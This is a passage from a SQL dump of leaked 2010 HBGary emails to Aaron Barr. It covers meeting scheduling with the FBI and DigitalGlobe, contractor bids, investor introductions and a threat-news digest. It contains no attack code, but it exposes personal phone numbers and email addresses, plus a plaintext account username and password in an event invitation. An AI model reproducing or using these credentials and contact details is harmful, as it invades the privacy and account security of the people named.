COTS which assist in accomplishing\r\nthose tasks.\r\n\r\n\r\n\r\nI\'ve attached three whitepapers that I think you may find interesting.\r\n&nbsp;The first is our analysis of the Aurora attack, the second is a how-to\r\nguide for using our REcon product to develop software exploits, and the third\r\ndescribes our latest Enterprise product, Active Defense.\r\n\r\n\r\n\r\nI\'d appreciate any introductions you can provide, if you know anyone that you\r\nthink may be interested in our offerings, or advice you may have.\r\n\r\nWarm Regards,\r\nTed\r\n\r\n--\r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\nhttp://www.hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n--&nbsp;\r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n--&nbsp;\r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n--&nbsp;\r\nTed Vera &nbsp;| &nbsp;President &nbsp;| &nbsp;HBGary Federal\r\nOffice 916-459-4727x118 &nbsp;| Mobile 719-237-8623\r\nwww.hbgary.com&nbsp;&nbsp;| &nbsp;ted@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n--&nbsp;\r\nTed Vera &nbsp;| &nbsp;President &nbsp;| &nbsp;HBGary Federal\r\nOffice 916-459-4727x118 &nbsp;| Mobile 719-237-8623\r\nwww.hbgary.com&nbsp;&nbsp;| &nbsp;ted@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4798,'aaron_hbgary_com/4798.html'),(11443,'2010-09-08','\"Matt Bigge\" <matt@strategicsocial.com>','/aaron@hbgary.com/new/1297008646.M196763P14101Q6298.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Introduction','I\'m open Thursday after 12pm as well.  Would that work?\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, September 07, 2010 6:53 PM\r\nTo: Matt Bigge\r\nCc: Nathan Atherley\r\nSubject: Re: Introduction\r\n\r\nHey Matt,\r\n\r\nI will be in Denver early next week.  Shoot me a few other dates/times that might work.\r\n\r\nAaron\r\n\r\nOn Sep 7, 2010, at 5:24 PM, Matt Bigge wrote:\r\n\r\n> Nate - great to meet you this morning. You are working on some pretty cool things and it would be great to help in any way I can.\r\n> \r\n> Aaron - It sounds like you are working on something that might be helpful on a project we are currently pursuing.  I\'ll in my Rosslyn office all of next week.  Perhaps we could get together?  Monday and Tuesday are best for me.\r\n> \r\n> Regards,\r\n> \r\n> Matt\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Tuesday, September 07, 2010 3:55 PM\r\n> To: Nathan Atherley\r\n> Cc: Matt Bigge\r\n> Subject: Re: Introduction\r\n> \r\n> Nate,\r\n> \r\n> Thanks for the intro.  Lets get together if schedules permit, this topic is always good over a beer or food.\r\n> \r\n> Greg and I currently have a side project we are working on that is focused around location and social gaming that we are pretty excited about that I would be happy to tell you a little about.\r\n> \r\n> Aaron\r\n> \r\n> \r\n> On Sep 7, 2010, at 3:18 PM, Nathan Atherley wrote:\r\n> \r\n>> Aaron\r\n>> \r\n>> I had a very interesting conversation with Matt (cc\'d) this morning regarding what he and his company are doing.  Matt is CEO of a company called Strategic Social and in similar swim lanes to what I think you want to do as we previously discussed.  Matt is a former Army Ranger and I think you would get along.  You have similar passions.\r\n>> \r\n>> Matt\r\n>> \r\n>> Aaron is currently heading up a company called HBGary\'s federal business in Washington DC.  Aaron has a passion for social apps, iphone apps etc that have been used in areas of interest by the US Government.  We are working with Aaron and HBGary on one of our programs for Farallon Research.  BTW, thanks for taking the time this morning, it was a good and fun conversation.\r\n>> \r\n>> I believe you two have some common interests in these areas, and could benefit from a conversation.  I would be happy to facilitate a conference call, or we could all try and meet in the DC area.\r\n>> \r\n>> Nathan\r\n>> \r\n>> \r\n> \r\n\r\n',13077,'aaron_hbgary_com/13077.html'),(11444,'2010-09-08','\"Geary, Christopher A.\" <Christopher.Geary@ic.fbi.gov>','/aaron@hbgary.com/new/1297008646.M429970P14101Q6299.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: FIRST Conference in Miami','Aaron,\r\n\r\nIf possible, this would be for Wednesday (09/15/2010) from 1:30 to 3:30 at your location in TC.  If this doesn\'t work with your schedule, we could reschedule for another day the next week.\r\n\r\nThanks,\r\n\r\nChris\r\n\r\n\r\nSSA Christopher A. Geary\r\nCERT/CC Liaison\r\n3238 CIC\r\nPittsburgh, PA 15213\r\n\r\n(412) 268-9244\r\n________________________________________\r\nFrom: Aaron Barr [aaron@hbgary.com]\r\nSent: Tuesday, September 07, 2010 9:52 PM\r\nTo: Geary, Christopher A.\r\nSubject: Re: FIRST Conference in Miami\r\n\r\nis this for next Wed? or another day?\r\nAaron\r\n\r\nOn Sep 7, 2010, at 5:01 PM, Geary, Christopher A. wrote:\r\n\r\n> Aaron, Tysons would be fine.  I\'m still waiting to hear back from a couple of people.  Does the afternoon work for you, say 1:30 to 3:30?\r\n>\r\n> Chris\r\n>\r\n> ----- Original Message -----\r\n> From: Aaron Barr \r\n> To: Geary, Christopher A.\r\n> Sent: Tue Sep 07 16:56:42 2010\r\n> Subject: Re: FIRST Conference in Miami\r\n>\r\n> Sure.  I normally use the offices in Tysons Corner but I can check\r\n> other locations that might be closer to you.\r\n>\r\n> Aaron\r\n>\r\n> Sent from my iPhone\r\n>\r\n> On Sep 7, 2010, at 4:41 PM, \"Geary, Christopher A.\"\r\n>  wrote:\r\n>\r\n>> Aaron,\r\n>>\r\n>>\r\n>> Where would you want to meet? You mentioned your Regus offices, where is that located?  Sorry I am not familiar with D.C.\r\n>>\r\n>> Chris\r\n>>\r\n>>\r\n>> SSA Christopher A. Geary\r\n>> CERT/CC Liaison\r\n>> 3238 CIC\r\n>> Pittsburgh, PA 15213\r\n>>\r\n>> (412) 268-9244\r\n>> ________________________________________\r\n>> From: Aaron Barr [aaron@hbgary.com]\r\n>> Sent: Tuesday, September 07, 2010 4:31 PM\r\n>> To: Geary, Christopher A.\r\n>> Subject: Re: FIRST Conference in Miami\r\n>>\r\n>> Chris,\r\n>>\r\n>> Sure either week is fine with me.  Let me know what works for you.\r\n>>\r\n>> Aaron\r\n>>\r\n>> On Sep 7, 2010, at 4:24 PM, Geary, Christopher A. wrote:\r\n>>\r\n>>> Aaron,\r\n>>>\r\n>>> Thank you for the quick response.  I am not sure if Wednesday of next week would be too quick or not?  It would be myself and 1 -3 other Cyber Division people.  If that doesn\'t work, the following week could work out too.\r\n>>>\r\n>>> Thanks,\r\n>>>\r\n>>> Chris\r\n>>>\r\n>>>\r\n>>>\r\n>>> SSA Christopher A. Geary\r\n>>> CERT/CC Liaison\r\n>>> 3238 CIC\r\n>>> Pittsburgh, PA 15213\r\n>>>\r\n>>> (412) 268-9244\r\n>>> ________________________________________\r\n>>> From: Aaron Barr [aaron@hbgary.com]\r\n>>> Sent: Tuesday, September 07, 2010 4:06 PM\r\n>>> To: Geary, Christopher A.\r\n>>> Subject: Re: FIRST Conference in Miami\r\n>>>\r\n>>> Hi Chris,\r\n>>>\r\n>>> I would be happy to meet.  I am local to DC, but we don\'t have a local DC office yet, our headquarters is in Sacramento and we have a Lab in Colorado Springs.  But I can get a Regus office for an hour or two and we can go over some of our capabilities and methodologies related to cyber investigations.\r\n>>>\r\n>>> I will be on travel Mon and Tues next week.  Let me know your availability.\r\n>>>\r\n>>> Aaron\r\n>>>\r\n>>>\r\n>>> On Sep 7, 2010, at 11:43 AM, Geary, Christopher A. wrote:\r\n>>>\r\n>>>> Aaron,\r\n>>>>\r\n>>>> Hello, I am SSA Chris Geary of the FBI\'s Cyber Division.  We had spoken briefly at the FIRST Conference in Miami.  I think it was was Martin who introduced us during a discussion of malware fingerprinting.  I am part of a team here in the Cyber Division that looks at new technologies and ways to improve our investigations as it pertains to malware analysis.  I had also read an article recently about how HB Gary can identify malicious code writers through malware analysis.   Do you have a presentation that you could provide us on this?  If possible, we would like to visit your shop in the next week or so, if your schedules permit.  Please advise if this is something that you could provide.\r\n>>>>\r\n>>>> Thank You,\r\n>>>>\r\n>>>> Chris\r\n>>>>\r\n>>>>\r\n>>>> SSA Christopher A. Geary\r\n>>>> CERT/CC Liaison\r\n>>>> 3238 CIC\r\n>>>> Pittsburgh, PA 15213\r\n>>>>\r\n>>>> (412) 268-9244\r\n>>>\r\n>>\r\n\r\n',11582,'aaron_hbgary_com/11582.html'),(11445,'2010-09-08','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297008646.M666498P14101Q6300.eml','\"Maria Lucas\" <maria@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>,,,','RE: Meeting next week at DigitalGlobe','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nWhat is address?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Maria Lucas\r\n[mailto:maria@hbgary.com] \r\nSent: Tuesday, September 07, 2010 9:58 PM\r\nTo: Penny C. Hoglund\r\nCc: Phil Wallisch; Aaron Barr; Ted Vera; Greg Hoglund\r\nSubject: Fwd: Meeting next week at DigitalGlobe\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nMeeting next week with Digital Globe is confirmed.&nbsp; See\r\nbelow.\r\n\r\n\r\n\r\n\r\n\r\nAaron and Ted will attend.\r\n\r\n\r\n\r\n\r\n\r\nI outlined the Meeting Agenda.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBackground\r\n\r\n\r\n\r\n\r\n\r\nDigitalGlobe&nbsp;is a leader in&nbsp;satellite images and\r\njust won a $3billion contract.&nbsp; Today they have 2,000 systems --50%\r\nWindows and 50% UNIX.&nbsp; The IT Security Team has selected Active Defense\r\nfor their IR solution.&nbsp; The next step is to present to the IT Department\r\nfor their buy-in and their approval to get implemented in the IT\r\ninfrastructure.&nbsp; Greg is attending to help DigitalGlobe executives better\r\nunderstand the ATP threat and what similar organizations are doing about it --\r\ntheir specific interest is in DOD and NSA and other Intel agencies.&nbsp; My purpose\r\nfor Greg attending is to get DigitalGlobe to make Active Defense a\r\npriority.&nbsp; My concern is that the company is growing fast and other\r\npriorities could rise about Active Defense.&nbsp; The money is allocated-- the\r\nissue is making Active Defense a priority.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThe company will need managed services initially for Triage\r\nand also for RE and writing IDS signatures.&nbsp; Eventually they will need\r\nsecurity clearances but not today.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDigitalGlobe is also negotiating Social Media training with\r\nHBGary Federal and they have consulting requirements as well.&nbsp; They have\r\nasked Ted and Aaron to attend and present on Social Media Training.&nbsp; Ted\r\nwill also run the End Games Report.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nVery important to know is that Phil did some malware\r\nanalysis and confirmed that they have APT.&nbsp; Phil presented already to the\r\nIT Security Team but we will want to add it to our presentation as well.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAttached is my idea of what needs to be presented.&nbsp;\r\nGreg I will call you to review the Agenda -- make any recommended changes\r\n-&nbsp;and will update the calendar with location and contacts.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMaria\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nhttp://media.digitalglobe.com/index.php?s=43&amp;item=225\r\n\r\n\r\n\r\n\r\n\r\nThe agreement provides for DigitalGlobe to supply satellite\r\nimagery deliveries from the WorldView satellite constellation under a Service\r\nLevel Agreement (&quot;EnhancedView SLA&quot;) in a total amount of $2.8\r\nbillion. The agreement also provides for up to $750 million for value added\r\nproducts, infrastructure enhancements and other services.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n---------- Forwarded message\r\n----------\r\nFrom: Daniel Collender &lt;dcollend@digitalglobe.com&gt;\r\nDate: Tue, Sep 7, 2010 at 9:25 AM\r\nSubject: RE: Meeting next week\r\nTo: Maria Lucas &lt;maria@hbgary.com&gt;\r\nCc: Brian Coulson &lt;bcoulson@digitalglobe.com&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Maria,\r\n\r\n&nbsp;\r\n\r\nEverything is moving forward for our planned\r\ndiscussion next Monday, September 13th beginning at noon. Both the\r\nCIO and CTO will be in attendance at the lunchtime meeting. We hope to have\r\nadditional senior level executives there as well.\r\n\r\n&nbsp;\r\n\r\nPlease work with Brian Coulson to\r\nconfirm the agenda for next week. \r\n\r\n&nbsp;\r\n\r\nAll the best,\r\n\r\nDan\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Maria\r\nLucas [mailto:maria@hbgary.com]\r\n\r\nSent: Wednesday, September 01, 2010 2:40 PM\r\nTo: Daniel Collender\r\nCc: Brian Coulson\r\nSubject: Meeting next week\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi\r\nDan\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDo\r\nyou have a minute today to discuss next week\'s meeting and agenda? &nbsp;Greg\r\nHoglund would like to actually come onsite if it makes sense -- he is very\r\ninterested in DigitalGlobe\'s business?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nGreg\r\nis a frequent speaker for BlackHat, NSA and considered a leading expert on\r\nrootkits and ATP..... &nbsp;he can do a great job presenting &nbsp;to the IT\r\nstaff.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWhen\r\nis a good time to talk about this? &nbsp;I can be reached on my cell phone:\r\n805-890-0401.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMaria\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nMaria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401&nbsp; Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com \r\n\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nMaria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401&nbsp; Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com \r\n\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2353,'aaron_hbgary_com/2353.html'),(11446,'2010-09-08','\"Potomac Officers Club\" <support@potomacofficersclub.com>','/aaron@hbgary.com/new/1297008647.M410660P14101Q6302.eml','aaron@hbgary.com','POC Event Announcement','\r\n\r\n\r\nPotomac Officers Club Invite\r\n\r\n\r\n\r\nWe are pleased to announce that security expert and former White House\r\nadvisor Richard Clarke will be speaking at our next luncheon.  Richard\r\nClarke is an internationally-recognized expert on security, including\r\nhomeland security, national security, cyber security, and counterterrorism.\r\nHe is currently an on-air consultant for ABC News and teaches at Harvard\'s\r\nKennedy School of Government.\r\nMr. Clarke served the last three Presidents (George H.W. Bush, Bill\r\nClinton, and George W. Bush) as a senior White House Advisor. Over the\r\ncourse of an unprecedented 11 consecutive years of White House service, he\r\nheld the titles of: Special Assistant to the President for Global Affairs,\r\nNational Coordinator for Security and Counterterrorism and Special Advisor\r\nto the President for Cyber Security. He also wrote two authoritative books\r\non Cyber Security entitled \"Cyber War\" and \"Against all Enemies\".  You can\r\nreceive one of his books when you register for the event!\r\nYou will not want to miss this chance to hear from an extraordinary man\r\non this very relevant and topical subject.   Details of the event are\r\nincluded below.  PLEASE NOTE:  You are now required to enter your username\r\nand password to sign up for the event.  That information is contained below\r\nin this email for your ease!\r\nDate:  Tuesday, October 5th\r\nTime:  11:30 am (networking and registration) with lunch and speaker at\r\n12:00 pm  - 1:00 pm.\r\nLocation:  Tyson\'s Corner Ritz Carlton (Salon 3)\r\nLink to Register : http://www.potomacofficersclub.com/events/hxIfaLvMibUVqTAVR4F9/\r\nYour login information:\r\nUsername : aaron@hbgary.comPassword : KyCPx7T2\r\nWe hope to see you all there!\r\nThe Potomac Officers Club\r\nPS &ndash; as you may have noticed, the Potomac Officers Club has a new\r\n(and improved!) website.  Thank you very much for your patience and\r\ncooperation as we are still fine tuning all the features and we may\r\nexperience a few \"growing pains\" in the process.  We sincerely appreciate\r\nany comments or suggestions you might have.\r\nIf you are unable to attend this event and would like to be removed\r\nfrom future reminders, please click here.\r\n\r\n\r\n\r\n\r\n',11451,'aaron_hbgary_com/11451.html'),(11447,'2010-09-08','\"William Luti\" <wluti@digitalmanagement.com>','/aaron@hbgary.com/new/1297008647.M80476P14101Q6301.eml','\"Aaron Barr\" <aaron@hbgary.com>','E-Discovery (forensics)','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron, here&#8217;s the qualifications for your background.\r\nThanks again. Bill\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n \r\n  \r\n  Team Lead, E-Discovery\r\n  \r\n \r\n \r\n  \r\n  Attach D Quals\r\n  \r\n  \r\n  Qualifications Explanation\r\n  \r\n \r\n \r\n  \r\n  Thorough understanding of E-Discovery and E-Discovery\r\n  techniques and process. The Contractor shall be able to design, maintain and operate\r\n  E-Discovery hardware and software \r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  Proficient in developing and presenting, both verbally and\r\n  in writing, highly technical information and presentations to non-technical audiences\r\n  at all levels of the organization. Audiences for this information include,\r\n  but are not limited to, senior executives at TSA and other agencies\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  Experience utilizing and evaluating results from the\r\n  following set of E-\r\n  Discovery tools including but not limited to: Attenex, Autonomy, and\r\n  Concordance. Experience must be clearly identified in resume\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  Prior management\r\n  experience leading a team of E-Discovery Analysts in day-to-day operations.\r\n  Experience must be clearly identified in resume\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  Experience as a\r\n  court recognized expert witness in the area of digital evidence collection. Experience must\r\n  be clearly identified in resume\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  Experience utilizing and evaluating results from the\r\n  following set of E-mail\r\n  recovery tools including but not limited to: Kroll Ontrack Power Controls and\r\n  Paraben E-mail Examiner. Experience must be clearly identified in\r\n  resume\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  Hands on experience with the hardware and software\r\n  associated with e-mail recovery and E-Discovery. Experience must be clearly\r\n  identified in resume\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  Experience working with legal professionals on cases.\r\n  Experience must be clearly identified in resume\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  Years Experience: 6 minimum of strong relevant experience as\r\n  outlined in the Performance Objectives\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  Clearance Requirements: Active Secret\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14203,'aaron_hbgary_com/14203.html'),(11448,'2010-09-08','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297008648.M167764P14101Q6303.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Matt\" <matt@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Rocco Fasciani\" <rocco@hbgary.com>','FW: NMCIWG: Daily Computer Threat News (Tue)','\r\n\r\n-----Original Message-----\r\nFrom: Ousley, Jerry, CIV, DSS [mailto:Jerry.Ousley@dss.mil] \r\nSent: Tuesday, September 07, 2010 7:49 PM\r\nSubject: FW: NMCIWG: Daily Computer Threat News (Tue)\r\n\r\n \r\n\r\nSubject: NMCIWG: Daily Computer Threat News (Tue)\r\n\r\n \r\n\r\nToday\'s articles:\r\n\r\n*         Cyber criminals seek \'full\' sets of credentials that trade for\r\nonly a few pounds\r\n\r\n*         Heartland pays $5 million over 2008 intrusion to credit card\r\nprovider\r\n\r\n*         New Zeus campaign uses FedEx notice scam \r\n\r\n*         McDonnell: Some data may be lost as a result of computer\r\noutage\r\n\r\n*         P.K. Yonge laptop is stolen with student, employee records\r\n\r\n*         SQL injections dominated malware in 2010\r\n\r\n*         Google releases Chrome 6 with 14 security updates\r\n\r\n*         IPv6 transition poses new security threats\r\n\r\n*         Flash Player as a spy system \r\n\r\n*         Data theft in Internet Explorer via two-year old vulnerability\r\n\r\n\r\n*         TrueCrypt 7.0a released \r\n\r\n*         MSIL/Zeven malware impersonates warning pages\r\n\r\n \r\n\r\n \r\n\r\n',12205,'aaron_hbgary_com/12205.html'),(11449,'2010-09-08','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297008648.M479057P14101Q6304.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Tim Riesen\" <tjriesen@archimedesglobal.com>','COIN/ROMAS RFP','\r\n\r\n\r\n\r\n\r\nCOIN/ROMAS RFP\r\n\r\n\r\n\r\n\r\nWe have not received the RFP yet.&nbsp; We have called the COIN/ROMAS PMO and have received no answer.&nbsp; You guys got any other ways of checking on the status?\r\n\r\nThanks,\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Chris\r\n__________________________________________________\r\n&nbsp; \r\n |Chris Clair | Program Manager | 703.449.3964 \r\n\r\n\r\n\r\n\r\n\r\n\r\n',12316,'aaron_hbgary_com/12316.html'),(11450,'2010-09-08','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008648.M708026P14101Q6305.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,','Re: FW: SSC PAC Cyber Warfare (Pre-award Status & Contract Planning Meeting)','Bob,\r\n\r\nBased upon your email and the attached matrix I think we should\r\ndefinitely have someone there.  Aaron do you want to go out on this\r\none, me, or both of us?\r\n\r\nTed\r\n\r\nOn Wed, Sep 8, 2010 at 8:19 AM, Bob Slapnik  wrote:\r\n> Penny, Aaron and Ted,\r\n>\r\n>\r\n>\r\n> About a year ago HBGary participated on the GD-AIS team for this SPAWAR\r\n> opportunity.  It has both offensive and defensive elements.  They think the\r\n> award announcement will happen in October and they think they will be\r\n> selected (there may be multiple awards).  HBGary is a tier-1 partner, so\r\n> there could be significant participation for us.  They have invited us to a\r\n> pre-award planning meeting in San Diego 9/30-10/1.  When I sent an email\r\n> asking why they would hold this meeting before being selected for award, I\r\n> got the following reply:\r\n>\r\n>\r\n>\r\n> “This meeting is prep for our expected award. As this is an IDIQ, we are\r\n> working with the team to align work and help to shape TTOs that we will bid\r\n> as a team. The award announcement is currently expected in October.”\r\n>\r\n>\r\n>\r\n> Do we want to send anybody to this meeting?  I haven’t spoken with them\r\n> about involving HBGary Federal yet.\r\n>\r\n>\r\n>\r\n> Attached is a powerpoint about the meeting and a capabilities matrix I had\r\n> sent them.\r\n>\r\n>\r\n>\r\n> Bob\r\n>\r\n>\r\n>\r\n>\r\n>\r\n> From: Holtmann, Vincent A. [mailto:Vincent.Holtmann@gd-ais.com]\r\n> Sent: Tuesday, September 07, 2010 10:23 PM\r\n> To: Ebber@avi.com; Kevin Estrem; Murphy, Marc (US - Charlotte); Smith,\r\n> Timothy-P65114 (EXT) (GDC4S); Long, John P; carl.houghton@issinc.com; Beck,\r\n> Bob; Autry, Tim; Dan Roberts; Elijah Sutton; Mike Smith; Adam Stotz; Dave\r\n> Atherton; robert_labella@minervaengineering.com; jmathis@ndti.net;\r\n> sbodmer@savidcorp.com; Lynn Lehman; Lee Krause; wbrew@simulexinc.com; Alok\r\n> Chaturvedi; mgotte@wareonearth.com; Roger Webb;\r\n> james.mulvenon@defensegp.com; \'Bob Slapnik\'; Jeffrey Carr;\r\n> Jondi_Bernardo@McAfee.com; Mike Sulek; sleanheart@telcordia.com;\r\n> richard.tillery@vissllc.com; gproctor@atcorp-dc.com;\r\n> jim.burton@cataphora.com; Jeffrey Morgan; Jacobson, Ron; Dietz, James Eric;\r\n> tgrabowski@netezza.com; Wendy Yee\r\n> Cc: Valdez, George G.; Rabideau, Tim J.; Carron, Brian E.; Martin, Robert\r\n> Z.; Jaeger, James A.\r\n> Subject: SSC PAC Cyber Warfare (Pre-award Status & Contract Planning\r\n> Meeting)\r\n>\r\n>\r\n>\r\n> All,  Please review the attached slide deck for our SSC PAC Cyber Warfare\r\n> meeting details.  We understand that not everyone will be able to attend,\r\n> but wanted to ensure that all exclusive team members are invited. For those\r\n> unable to attend, meeting notes will be taken and distributed to the team.\r\n>\r\n>\r\n>\r\n> Actions\r\n>\r\n> Select Yes or No for your attend so we can get a head count\r\n> Let me know if you have any questions\r\n>\r\n>\r\n>\r\n> Look forward to all that can make the trip!\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n> Regards,\r\n>\r\n> Vince\r\n>\r\n>\r\n>\r\n> Vincent A. Holtmann\r\n> General Dynamics Advanced Information Systems\r\n> 3133 General Hudnell, Ste. 300\r\n> San Antonio, TX 78226\r\n> Office (210) 932-5522\r\n> Mobile (210) 792-8088\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n> No virus found in this incoming message.\r\n> Checked by AVG - www.avg.com\r\n> Version: 9.0.851 / Virus Database: 271.1.1/3112 - Release Date: 09/07/10\r\n> 14:43:00\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',13358,'aaron_hbgary_com/13358.html'),(11451,'2010-09-08','\"Nicholas Safford\" <ns@riveriagroup.com>','/aaron@hbgary.com/new/1297008648.M967452P14101Q6306.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>,,','Re: Connection','Hi Penny,Are you available to speak sometime this week or next?  Let me know some times that work for you.Regards,NicholasOn Fri, Sep 3, 2010 at 6:40 PM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSure I’m around, when is good for you?\r\n\r\n \r\n\r\n\r\n\r\nFrom: Nicholas Safford\r\n[mailto:ns@riveriagroup.com] \r\nSent: Friday, September 03, 2010 11:57 AM\r\nTo: Aaron Barr\r\nCc: Penny Leavy; Tj Gupta; David Gertler\r\nSubject: Re: Connection\r\n\r\n\r\n\r\n \r\n\r\nThanks Aaron,\r\n\r\nPenny - are you free next week to connect for a brief introductory call? \r\nA tear sheet on our firm is attached with more information.\r\n\r\nBest,\r\nNicholas\r\n\r\n\r\n\r\n\r\n\r\nOn Fri, Sep 3, 2010 at 2:49 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nPenny,\r\n\r\nLet me introduce Nicholas from Riveria group.  I was introduced to Riveria\r\nthrough David Gertler, whom was one of the folks I met with at L-3 earlier in\r\nthe week.  Nicholas is interested in discussing investment opportunities.\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Sep 3, 2010, at 11:15 AM, Tj Gupta wrote:\r\n\r\n&gt; Thanks Aaron, my associate, Nicholas Safford, will reach out to you to\r\n&gt; gather the necessary information for us and introduce you to the firm.\r\n&gt;\r\n&gt; Best,\r\n&gt;\r\n&gt; Tj\r\n&gt;\r\n&gt; On 9/3/10, Aaron Barr &lt;aaron@hbgary.com&gt;\r\nwrote:\r\n&gt;&gt; David,\r\n&gt;&gt;\r\n&gt;&gt; Thank you for the introduction and sure thing I will send you a note\r\nin a\r\n&gt;&gt; few weeks.\r\n&gt;&gt;\r\n&gt;&gt; TJ.  Happy to meet you.  My cell is 719.510.8478.  Look\r\nforward to 